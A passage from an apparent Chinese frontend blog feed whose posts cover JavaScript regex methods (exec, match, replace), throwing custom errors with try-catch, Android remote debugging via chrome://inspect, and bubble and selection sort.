class="hljs-built_in">console</span>.log(reg.lastIndex);</span><br><span class="line"><span class="hljs-comment">//输出</span></span><br><span class="line">[<span class="hljs-string">"1"</span>]</span><br><span class="line"> <span class="hljs-number">0</span></span><br><span class="line"> </span><br><span class="line">第二次匹配</span><br><span class="line"><span class="hljs-built_in">console</span>.log(reg.exec(<span class="hljs-string">'a123'</span>));</span><br><span class="line"><span class="hljs-built_in">console</span>.log(reg.lastIndex);</span><br><span class="line"><span class="hljs-comment">//输出</span></span><br><span class="line">[<span class="hljs-string">"1"</span>]</span><br><span class="line"> <span class="hljs-number">0</span></span><br></pre></td></tr></table></figure><p>结论:</p><p>同一正则表达式,在非全局匹配模式下,每次实例的lastIndex属性的值总是不变的(为第一次找到匹配文本所在的位置,上面为0 );<br>每次的匹配查找都是将lastIndex作为起始位置的</p><h5 id="例2:全局匹配"><a href="#例2:全局匹配" class="headerlink" title="例2:全局匹配"></a>例2:全局匹配</h5><p><img src="https://segmentfault.com/img/bVoP0C" alt="image"><br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> reg = <span class="hljs-regexp">/\d/g</span>;</span><br><span class="line"><span class="hljs-comment">//第一次匹配</span></span><br><span class="line"><span class="hljs-built_in">console</span>.log(reg.exec(<span class="hljs-string">'a123'</span>));</span><br><span class="line"><span class="hljs-built_in">console</span>.log(reg.lastIndex);</span><br><span class="line"><span class="hljs-comment">//输出</span></span><br><span class="line">[<span class="hljs-string">"1"</span>]</span><br><span class="line"> <span class="hljs-number">2</span></span><br><span class="line"> </span><br><span class="line">第二次匹配</span><br><span class="line"><span class="hljs-built_in">console</span>.log(reg.exec(<span class="hljs-string">'a123'</span>));</span><br><span class="line"><span class="hljs-built_in">console</span>.log(reg.lastIndex);</span><br><span class="line"><span class="hljs-comment">//输出</span></span><br><span class="line">[<span class="hljs-string">"2"</span>]</span><br><span class="line"> <span class="hljs-number">3</span> </span><br><span class="line"></span><br><span class="line">第三次匹配</span><br><span class="line"><span class="hljs-built_in">console</span>.log(reg.exec(<span class="hljs-string">'a123'</span>));</span><br><span class="line"><span class="hljs-built_in">console</span>.log(reg.lastIndex);</span><br><span class="line"><span class="hljs-comment">//输出</span></span><br><span class="line">[<span class="hljs-string">"3"</span>]</span><br><span class="line"> <span class="hljs-number">4</span> </span><br><span class="line"></span><br><span class="line">第四匹配</span><br><span class="line"><span class="hljs-built_in">console</span>.log(reg.exec(<span class="hljs-string">'a123'</span>));</span><br><span class="line"><span class="hljs-built_in">console</span>.log(reg.lastIndex);</span><br><span class="line"><span class="hljs-comment">//输出</span></span><br><span class="line"><span class="hljs-literal">null</span></span><br><span class="line"> <span class="hljs-number">0</span></span><br></pre></td></tr></table></figure></p><p>结论:</p><p>同一正则表达式,在全局匹配模式下,每次实例的lastIndex属性的值为匹配文本最后一个字符的下一个位置,上面例子中第一次匹配的时候最后一个字符位置为1,则下一个位置为:2<br><strong>当 exec() 再也找不到匹配的文本时,它将返回 null,并把 lastIndex 属性重置为 0。</strong></p><p>那当要获取全局匹配的全部匹配项时,可以通过循环来获取:<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> reg = <span class="hljs-regexp">/\d/g</span>,</span><br><span class="line"> result = [],</span><br><span class="line"> crt;</span><br><span class="line"><span class="hljs-keyword">while</span>((crt = reg.exec(<span class="hljs-string">'a123'</span>)) !== <span class="hljs-literal">null</span>){</span><br><span class="line"> result = result.concat(crt)</span><br><span class="line">};</span><br><span class="line">result; <span class="hljs-comment">//["1", "2", "3"]</span></span><br></pre></td></tr></table></figure></p><h2 id="String对象方法"><a href="#String对象方法" class="headerlink" title="String对象方法"></a>String对象方法</h2><h3 id="match"><a href="#match" class="headerlink" title="match()"></a>match()</h3><p>match() 方法可在字符串内检索指定的值,或找到一个或多个正则表达式的匹配。和exec()有些相似:</p><h5 id="例1:非全局匹配-1"><a href="#例1:非全局匹配-1" class="headerlink" title="例1:非全局匹配"></a>例1:非全局匹配</h5><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> a = <span class="hljs-string">'aaaa'</span>.match(<span class="hljs-regexp">/\w/</span>);</span><br><span class="line"><span class="hljs-built_in">console</span>.log(a); <span class="hljs-comment">// ["a", index: 0, input: "aaaa"]</span></span><br></pre></td></tr></table></figure><p>可以看到,和exec()一样,在数组中返回了index 和 input属性。</p><p>或者是这样,match返回分组<br><img src="http://nos.netease.com/popo/a0c28355be533077e13238e69ec29fe9.png" alt="image"></p><h5 id="例2:全局匹配-1"><a href="#例2:全局匹配-1" class="headerlink" title="例2:全局匹配"></a>例2:全局匹配</h5><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> a = <span class="hljs-string">'aaaa'</span>.match(<span class="hljs-regexp">/\w/g</span>);</span><br><span class="line"><span class="hljs-built_in">console</span>.log(a); <span class="hljs-comment">// ["a", "a", "a", "a"]</span></span><br></pre></td></tr></table></figure><p>全局匹配就和exec方法有很大的不同了,他直接返回了所有符合匹配的子字符串的数组,另外,index和input属性也不在其中了,所以这个方法效率可能会高一些,但是如果你需要更多的信息,则用exec()吧</p><p>match函数在满足如下条件能实现和exec一样的功能:</p><pre><code>1. 正则表达式中含有分组(括号)2. 返回唯一的匹配</code></pre><h3 id="replace"><a href="#replace" class="headerlink" title="replace()"></a>replace()</h3><p>这也是一个比较灵活常用的方法,它用于在字符串中用一些字符替换另一些字符,或替换一个与正则表达式匹配的子串。</p><p>这个方法接收两个必须的参数:</p><p><code>pattern</code>: 这个参数可以是字符串或是RegExp对象<br><code>replacement</code>: 替换匹配项的字符串或处理函数的返回值</p><p>返回结果:<br>当未找到匹配项的时候,返回原始字符串。<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-string">'aaaa'</span>.replace(<span class="hljs-string">'bbb'</span>, <span class="hljs-string">'b'</span>) <span class="hljs-comment">//"aaaa"</span></span><br><span class="line"><span class="hljs-string">``</span><span class="hljs-string">` </span></span><br><span class="line"><span class="hljs-string">当`</span>pattern<span class="hljs-string">`为字符串或者为非全局的RegExp对象的时候,只替换找到的第一项匹配项。</span></span><br><span class="line"><span class="hljs-string">`</span><span class="hljs-string">``</span>javascript</span><br><span class="line"><span class="hljs-string">'aaaa'</span>.replace(<span class="hljs-string">'a'</span>, <span class="hljs-string">'b'</span>) <span class="hljs-comment">//"baaa"</span></span><br><span class="line"><span class="hljs-string">'aaaa'</span>.replace(<span class="hljs-regexp">/\w/</span>, <span class="hljs-string">'b'</span>) <span class="hljs-comment">//"baaa"</span></span><br></pre></td></tr></table></figure></p><p>当<code>pattern</code>为全局的RegExp对象的时候,替换每一项匹配项。<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-string">'aaaa'</span>.replace(<span class="hljs-regexp">/\w/g</span>, <span class="hljs-string">'b'</span>) <span class="hljs-comment">//"bbbb"</span></span><br></pre></td></tr></table></figure></p><p><code>replacement</code>:为函数时:<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-string">'aaaa'</span>.replace(<span class="hljs-regexp">/\w/g</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{</span><br><span class="line"> <span class="hljs-keyword">return</span> <span class="hljs-string">'b'</span>;</span><br><span class="line">}); <span class="hljs-comment">// "bbbb"</span></span><br><span class="line"></span><br><span class="line"><span class="hljs-string">'aaaa'</span>.replace(<span class="hljs-regexp">/\w/g</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">value</span>) </span>{</span><br><span class="line"> <span class="hljs-keyword">return</span> value.toUpperCase();</span><br><span class="line">}); <span class="hljs-comment">// "AAAA"</span></span><br></pre></td></tr></table></figure></p><p>结论:</p><p>函数的返回值将作为替换字符串</p><p>函数的第一个参数的值是每一个匹配项,当然还有第二个参数,它的值是每个匹配项在原始字符串的中位置,从0开始</p><h5 id="特殊的"><a href="#特殊的" class="headerlink" title="特殊的 $:"></a>特殊的 $:</h5><p>replacement 中的 $ 字符具有特定的含义。如下表所示,它说明从模式匹配得到的字符串将用于替换。</p><table><thead><tr><th>字符</th><th>替换文本 </th></tr></thead><tbody><tr><td>1、2、…、$99</td><td>与 regexp 中的第 1 到第 99 个子表达式相匹配的文本</td></tr><tr><td>$&</td><td>与 regexp 相匹配的子串</td></tr><tr><td>$`</td><td>位于匹配子串左侧的文本</td></tr><tr><td>$’</td><td>位于匹配子串右侧的文本</td></tr><tr><td>$$</td><td>直接量符号</td></tr></tbody></table><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="hljs-comment">//第一种情况:</span></span><br><span class="line"><span class="hljs-string">'aa11AA'</span>.replace(<span class="hljs-regexp">/([a-z]+)(\d+)([A-Z]+)/g</span>, <span class="hljs-string">'$1'</span>); <span class="hljs-comment">// "aa"</span></span><br><span class="line"><span class="hljs-string">'aa11AA'</span>.replace(<span class="hljs-regexp">/([a-z]+)(\d+)([A-Z]+)/g</span>, <span class="hljs-string">'$2'</span>); <span class="hljs-comment">// "11"</span></span><br><span class="line"><span class="hljs-string">'aa11AA'</span>.replace(<span class="hljs-regexp">/([a-z]+)(\d+)([A-Z]+)/g</span>, <span class="hljs-string">'$3'</span>); <span class="hljs-comment">// "AA"</span></span><br><span class="line"><span class="hljs-comment">//要是没有该子项,则当成普通字符串处理了</span></span><br><span class="line"><span class="hljs-string">'aa11AA'</span>.replace(<span class="hljs-regexp">/([a-z]+)(\d+)([A-Z]+)/g</span>, <span class="hljs-string">'$4'</span>); <span class="hljs-comment">// "$4"</span></span><br><span class="line"> </span><br><span class="line"><span class="hljs-comment">//第二种情况:</span></span><br><span class="line"><span class="hljs-string">'aa11AA'</span>.replace(<span class="hljs-regexp">/([a-z]+)(\d+)([A-Z]+)/g</span>, <span class="hljs-string">'$&'</span>); <span class="hljs-comment">//"aa11AA"</span></span><br><span class="line"></span><br><span class="line"><span class="hljs-comment">//第三种情况:</span></span><br><span class="line"><span class="hljs-string">'aa11AA'</span>.replace(<span class="hljs-regexp">/(\d+)/g</span>, <span class="hljs-string">'$`'</span>); <span class="hljs-comment">//"aaaaAA"</span></span><br><span class="line"></span><br><span class="line"><span class="hljs-comment">//第四种情况:</span></span><br><span class="line"><span class="hljs-string">'aa11AA'</span>.replace(<span class="hljs-regexp">/(\d+)/g</span>, <span class="hljs-string">"$'"</span>); <span class="hljs-comment">//"aaAAAA"</span></span><br><span class="line"></span><br><span class="line"><span class="hljs-comment">//第五种情况:</span></span><br><span class="line"><span class="hljs-string">'aa11AA'</span>.replace(<span class="hljs-regexp">/(\d+)/g</span>, <span class="hljs-string">'$$'</span>); <span class="hljs-comment">//"aa$AA"</span></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>最近又用到了正则啦,发现匹配相同东西的时候,我和同事用不同的方法都可以,这里特意来归纳一下。<br></p>
</summary>
<category term="js" scheme="https://github.com/Zyingying/tags/js/"/>
<category term="正则" scheme="https://github.com/Zyingying/tags/%E6%AD%A3%E5%88%99/"/>
</entry>
<entry>
<title>抛出自定义错误</title>
<link href="https://github.com/Zyingying/2016/10/26/%E6%8A%9B%E5%87%BA%E8%87%AA%E5%AE%9A%E4%B9%89%E9%94%99%E8%AF%AF/"/>
<id>https://github.com/Zyingying/2016/10/26/抛出自定义错误/</id>
<published>2016-10-26T15:07:42.000Z</published>
<updated>2016-12-06T15:12:22.811Z</updated>
<content type="html"><![CDATA[<p>什么?你问我为什么要抛出错误?程序员的天职难道不是干掉错误吗?<br>是的,我当初的想法也和你的一样,但是阅读完本文章,相信你会十分愿意去抛出一个错误。<br><a id="more"></a></p><h3 id="错误的本质"><a href="#错误的本质" class="headerlink" title="错误的本质"></a>错误的本质</h3><p>当你在遇到了一些变量在不同浏览器的自定义值不一样的时候,或者是给一个函数传递了不正确的值,或者是运算的时候碰到一个非数字,就会导致一些错误,但是,如果这个错误,没有被返回给你的话,调试是非常困难的。如果所有的失败都是悄无声息的话,那么程序员就要爆炸啦boom!</p><p>在以前,js的错误总是特别稀少而且不精确,但是现在也会稍微好很多了。</p><h3 id="在js中抛出错误"><a href="#在js中抛出错误" class="headerlink" title="在js中抛出错误"></a>在js中抛出错误</h3><p>我们可以使用<code>throw</code>操作符,将提供的一个对象作为错误抛出。任何类型的对象都可以作为错误抛出,Error对象是最常见的。<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(message);</span><br></pre></td></tr></table></figure></p><p>如果没有通过<code>try-catch</code>语句来捕获的话,浏览器通常直接显示该消息<code>message</code>在<code>console</code>控制台</p><p>有些同学可能会这样写<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-comment">//不好的写法</span></span><br><span class="line"><span class="hljs-keyword">throw</span> <span class="hljs-string">"message"</span></span><br></pre></td></tr></table></figure></p><p>在Firefox、Opera和Chorme里面都将显示一条<code>throw "message"</code>这样的错误,这对我们调试错误一点帮助也木有。</p><p>当然,如果你开心的话,可以用throw抛出任何类型的数据,没有任何规则约束不能是特定的数据类型</p><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="hljs-keyword">throw</span> {<span class="hljs-attr">name</span> : <span class="hljs-string">'dashabi'</span>};</span><br><span class="line"><span class="hljs-keyword">throw</span> <span class="hljs-literal">true</span>;</span><br><span class="line"><span class="hljs-keyword">throw</span> <span class="hljs-number">123456</span>;</span><br><span class="line"><span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>();</span><br></pre></td></tr></table></figure><p>但是….如果没有try-catch语句捕获,抛出任何值都将引发一个错误。</p><h3 id="抛出一个好错误"><a href="#抛出一个好错误" class="headerlink" title="抛出一个好错误"></a>抛出一个好错误</h3><p>抛出自己的错误,可以使用确切的文本提供浏览器显示。除了行列number,还可以包含任何你需要的有助于调试问题的信息。我推荐总是在错误消息中包含函数名称,以及函数失败的原因。<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getDiv</span>(<span class="hljs-params">element</span>)</span>{</span><br><span class="line"> <span class="hljs-keyword">return</span> element.getElementsByTagName(<span class="hljs-string">"div"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>这个函数想获取所有div的元素,但是,传递给函数的DOM元素为null的值是很有可能是的,如果传给它一个null,你就会看到object expected这种含糊的错误,然后又得去看执行栈,再看实际定位到源文件中,通过抛出一个错误,调试会简单些</p><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getDiv</span>(<span class="hljs-params">element</span>)</span>{</span><br><span class="line"> <span class="hljs-keyword">if</span>(element && element.getElementsByTagName){</span><br><span class="line"> <span class="hljs-keyword">return</span> element.getElementsByTagName(<span class="hljs-string">"div"</span>);</span><br><span class="line"> }<span class="hljs-keyword">else</span>{</span><br><span class="line"> <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"getDiv():Argument must be a DOM elemnt"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>酱紫,你就能在浏览器控制台输出错误的时候,可以马上着手去调试,6666</p><h3 id="何时抛出错误"><a href="#何时抛出错误" class="headerlink" title="何时抛出错误"></a>何时抛出错误</h3><ul><li>一旦修复了一个很难调试的错误,尝试增加一两个自定义错误。当再次发生错误的湿乎乎,有助于更容易的解决问题。</li><li>如果正在写代码,思考下:“我希望某些事情最好不要发生,如果发生,我的代码就惨了”。这事,如果那件事情发生的话,就抛出一个错误</li><li>如果再编写给别人的代码,思考一下别人的使用方式,在一些地方抛出错误。</li></ul><h2 id="try-catch"><a href="#try-catch" class="headerlink" title="try-catch"></a>try-catch</h2><p>js提供了try-catch语句,能在浏览器处理抛出的错误之前来解析它,可以把能引发错误的代码放在try块中,处理错误的代码放在catch中。<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">try</span>{</span><br><span class="line"> somethingThatMihtCauseAnError();</span><br><span class="line">}<span class="hljs-keyword">catch</span>(ex){</span><br><span class="line"> handleError(ex);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>如果try中发生了一个错误,程序立刻停止执行,然后跳到catch块,并传入一个错误对象。检查该对象可以确定中恢复的最佳动作。</p><p>也可以在最后加一个finally块。finally块中的代码不管是否有错误发生,最后都会被执行<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">try</span>{</span><br><span class="line"> somethingThatMihtCauseAnError();</span><br><span class="line">}<span class="hljs-keyword">catch</span>(ex){</span><br><span class="line"> handleError(ex);</span><br><span class="line">}<span class="hljs-keyword">finally</span>{</span><br><span class="line"> dosomething();</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>这个地方有点微妙,如果try中包含了一个return语句,实际上它必须等到finally块中的代码执行后才能返回,所以这个finally不常用。</p>]]></content>
<summary type="html">
<p>什么?你问我为什么要抛出错误?程序员的天职难道不是干掉错误吗?<br>是的,我当初的想法也和你的一样,但是阅读完本文章,相信你会十分愿意去抛出一个错误。<br></p>
</summary>
<category term="js" scheme="https://github.com/Zyingying/tags/js/"/>
<category term="性能优化" scheme="https://github.com/Zyingying/tags/%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96/"/>
</entry>
<entry>
<title>移动网络下的页面调试</title>
<link href="https://github.com/Zyingying/2016/09/18/%E7%A7%BB%E5%8A%A8%E7%BD%91%E7%BB%9C%E4%B8%8B%E7%9A%84%E9%A1%B5%E9%9D%A2%E8%B0%83%E8%AF%95/"/>
<id>https://github.com/Zyingying/2016/09/18/移动网络下的页面调试/</id>
<published>2016-09-18T02:54:22.000Z</published>
<updated>2016-12-06T15:12:38.403Z</updated>
<content type="html"><![CDATA[<p>以前我们调试移动端的时候,一般都是在谷歌浏览器直接用模拟器打开,先保证所有的逻辑都跑的通。</p><p>接着我们可能就会用代理,将手机代理到本地主机,设置host,保证各个机型的兼容问题,再次检查程序的功能和逻辑。</p><p>当以上都完全跑通之后,基本也差不到哪里去了,但是一般QA还是会在移动网络下对所有功能再进行一次调试。</p><p>今天我想说的一个就是如何在移动网络下审查你的页面。<br><a id="more"></a></p><p>也许你会问,为什么非要移动网络。不知道你们注意过没有,打开http网页的时候,经常会出现一些弹框或者流量球一样的东西,这时你就应该开始反应过来,这应该属于运营商对你页面插入的代码,也叫做运营商劫持。</p><p>哦,忘了说,只能android</p><h3 id="需要什么"><a href="#需要什么" class="headerlink" title="需要什么"></a>需要什么</h3><ol><li>pc端安装最新的chrome(54+)</li><li>手机端安装最新的chrome (Android机) (54+)</li><li>USB连接线</li></ol><p>Tip:之前的的chrome如果要实现这种调试需要安装一个ADB插件(需要FQ) 但是最新的chrome已经直接支持对Android的识别 所以也不用再在chrome上安装ADB插件了 但需要下载最新的chrome</p><h3 id="假设你准备好了"><a href="#假设你准备好了" class="headerlink" title="假设你准备好了"></a>假设你准备好了</h3><ol><li><p>USB设置 在你的手机里打开”设置”->”开发人员工具”->”USB调试” 打开USB调试。</p></li><li><p>假设你已经将手机设置为”USB调试”打开的状态 将手机连接到电脑 手机会弹出一串连接码,并询问你是否链接,点击确定</p></li></ol><ol start="3"><li>打开电脑的chrome 在地址栏输入 chrome://inspect 选中 Discover USB devices 可以检测到你的设备 </li></ol><p>4.打开手机上的chrome</p><p><img src="http://7xpwlt.com1.z0.glb.clouddn.com/QQ%E5%9B%BE%E7%89%8720161022140321.png" alt="image"></p><p>上图可以看到手机上chrome打开的页面 此时我手机上打开过一个网页</p><p>6.点击inspect </p><p>7.可以点击弹出的审查元素框右上角的方形小图标切换到视图模式 这时会把你手机打开的页面拉到pc上显示 </p><p><img src="http://7xpwlt.com1.z0.glb.clouddn.com/QQ%E5%9B%BE%E7%89%8720161022141625.png" alt="image"></p><!-- 就是这货,这就是为什么我非要在移动端这边调试的原因了 --><!-- 下篇就开始想如何去解决这个跳出来的运营商广告 -->]]></content>
<summary type="html">
<p>以前我们调试移动端的时候,一般都是在谷歌浏览器直接用模拟器打开,先保证所有的逻辑都跑的通。</p>
<p>接着我们可能就会用代理,将手机代理到本地主机,设置host,保证各个机型的兼容问题,再次检查程序的功能和逻辑。</p>
<p>当以上都完全跑通之后,基本也差不到哪里去了,但是一般QA还是会在移动网络下对所有功能再进行一次调试。</p>
<p>今天我想说的一个就是如何在移动网络下审查你的页面。<br></p>
</summary>
<category term="移动端" scheme="https://github.com/Zyingying/tags/%E7%A7%BB%E5%8A%A8%E7%AB%AF/"/>
</entry>
<entry>
<title>排序算法</title>
<link href="https://github.com/Zyingying/2016/08/17/%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95/"/>
<id>https://github.com/Zyingying/2016/08/17/排序算法/</id>
<published>2016-08-17T15:25:26.000Z</published>
<updated>2016-08-22T15:20:49.302Z</updated>
<content type="html"><![CDATA[<p>最近关注前端性能一方面比较多,发现算法的性能改变也是其中一个很大的改善点,特别在数据量很大的情况下,在这里总结了几个前端经常都用得上的算法。<br><a id="more"></a></p><h2 id="冒泡排序"><a href="#冒泡排序" class="headerlink" title="冒泡排序"></a>冒泡排序</h2><p><strong>思想:</strong> 比较相邻的两个数,如果后面的比前面的小,把小的放在前面。一轮过后,会有这一轮最小(大)的值去到应到的位置。</p><p><strong>时间复杂度:</strong> O(n2)</p><p><strong>code:优化点:如果数组已经是有序了,就没必要再比较了</strong><br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> arr=[<span class="hljs-number">5</span>,<span class="hljs-number">3</span>,<span class="hljs-number">2</span>,<span class="hljs-number">4</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>];</span><br><span class="line"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">bubbleSort</span>(<span class="hljs-params">arr</span>)</span>{</span><br><span class="line"> </span><br><span class="line"> <span class="hljs-keyword">var</span> flag = <span class="hljs-literal">false</span>; </span><br><span class="line"> <span class="hljs-comment">//定义一个变量为false,未交换位置; </span></span><br><span class="line"> <span class="hljs-keyword">for</span>(<span class="hljs-keyword">var</span> i=<span class="hljs-number">0</span>;i<arr.length<span class="hljs-number">-1</span>;i++){</span><br><span class="line"> <span class="hljs-keyword">for</span>(<span class="hljs-keyword">var</span> j=<span class="hljs-number">0</span>;j<arr.length<span class="hljs-number">-1</span>;j++){</span><br><span class="line"> <span class="hljs-keyword">if</span>(arr[j+<span class="hljs-number">1</span>]<arr[j]){</span><br><span class="line"> temp = arr[j+<span class="hljs-number">1</span>];</span><br><span class="line"> arr[j+<span class="hljs-number">1</span>] = arr[j];</span><br><span class="line"> arr[j] = temp;</span><br><span class="line"> flag = <span class="hljs-literal">true</span>; <span class="hljs-comment">//true,已交换位置</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="hljs-keyword">if</span>(flag){</span><br><span class="line"> flag = <span class="hljs-literal">false</span>; <span class="hljs-comment">//如果交换了位置,将flag重新设为false</span></span><br><span class="line"> }<span class="hljs-keyword">else</span>{</span><br><span class="line"> <span class="hljs-keyword">break</span>; <span class="hljs-comment">//如果未交换,则跳出循环</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="hljs-keyword">return</span> arr;</span><br><span class="line">}</span><br><span class="line"><span class="hljs-built_in">console</span>.log(bubbleSort(arr)); <span class="hljs-comment">//0,1,2,3,4,5</span></span><br></pre></td></tr></table></figure></p><p>设置一个中断标志位,在条件测试中如果发生了交换就将中断位屏蔽,然后在外层循环中检查中断位,如果中断位没有被屏蔽,将结束循环。每次开始内层循环之前重置中断位。这样就可以在已经是正序排列时不继续进行循环,达到最优的复杂度.</p><h2 id="选择排序"><a href="#选择排序" class="headerlink" title="选择排序"></a>选择排序</h2><p><strong>思想:</strong> 先从原始数组中选择一个最小的数据,和第一个位置1的数据交换。再从剩下的n-1个数据中选择次小的数据,将其和第二个位置的数据交换。不断重复,知道最后两个数据完成交换。可以很清楚的发现,选择排序是固定位置,找元素。</p><p><strong>时间复杂度:</strong> O(n2)</p><p><strong>code</strong><br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> arr=[<span class="hljs-number">5</span>,<span class="hljs-number">3</span>,<span class="hljs-number">2</span>,<span class="hljs-number">4</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>];</span><br><span class="line"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">selectionSort</span>(<span class="hljs-params">array</span>)</span>{</span><br><span class="line"> <span class="hljs-keyword">var</span> min,temp;</span><br><span class="line"> </span><br><span class="line"> <span class="hljs-keyword">for</span>(<span class="hljs-keyword">var</span> i=<span class="hljs-number">0</span>; i<array.length<span class="hljs-number">-1</span>; i++){</span><br><span class="line"> min=i; </span><br><span class="line"> <span class="hljs-keyword">for</span>(<span class="hljs-keyword">var</span> j=i+<span class="hljs-number">1</span>; j<array.length; j++){</span><br><span class="line"> <span class="hljs-keyword">if</span>(array[j]<array[min]){</span><br><span class="line"> min=j;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> swap(array,min,i);</span><br><span class="line"> </span><br><span class="line"> }</span><br><span class="line"> <span class="hljs-keyword">return</span> array;</span><br><span class="line">}<span class="hljs-comment">//选择排序</span></span><br><span 